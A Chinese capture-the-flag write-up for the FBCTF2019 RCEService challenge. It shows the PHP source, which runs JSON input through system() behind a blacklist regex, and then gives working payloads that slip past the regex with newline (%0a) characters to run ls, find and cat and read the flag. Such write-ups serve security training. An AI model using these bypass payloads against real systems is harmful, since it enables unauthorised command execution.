[FBCTF2019]RCEService

源码

python 复制代码
<?php
putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

putenv('PATH=/home/rceservice/jail');

改变了环境变量, 也就无法直接使用cat这样的命令了

需要一个完整的路径比如 /bin/cat

可以在自己的vps上面在bin目录下找到这些命令

复制代码
preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)

*$可以通过多行绕过, %0a可以绕过

json_decode($json, true)['cmd']解码成一个关联数组, 通过下标cmd访问

所以就是{%0a"cmd": "命令"%0a}的形式

列出根目录
?cmd={%0a"cmd": "/bin/ls /"%0a}

没有发现flag, 使用find命令查找一下
?cmd={%0a"cmd": "/usr/bin/find / -name 'flag'"%0a}

拿flag
?cmd={%0a"cmd": "/bin/cat /home/rceservice/flag"%0a}

相关推荐
曲幽26 分钟前
手把手搞定FastAPI静态文件:安全、上传与访问
css·python·fastapi·web·js·favicon·staticfiles
莓有烦恼吖5 小时前
基于AI图像识别与智能推荐的校园食堂评价系统研究 04-评价系统模块
java·tomcat·web·visual studio
heartbeat..1 天前
JavaWeb 核心:HttpServletRequest 请求行、请求头、请求参数完整梳理
java·网络·web·request
给勒布朗上上对抗呀1 天前
短标签一句话实战-LitCTF2025-easy_file
ctf
钦拆大仁1 天前
聊一聊跨域错误CORS
web·跨域
蓝之白1 天前
WEB安全_AI_WAF
web安全·ctf
Bug.ink2 天前
BUUCTF——WEB(4)
前端·网络安全·靶场·ctf·buuctf
曲幽2 天前
一文理清FastAPI参数:从Query、Path到BaseModel的实战指南
python·fastapi·web·form·request·path·body·query·basemodel
蓝之白2 天前
MISC9-easy_nbt
ctf·misc
ShoreKiten3 天前
ctfshow-web165(会一题通一类保姆级wp)
web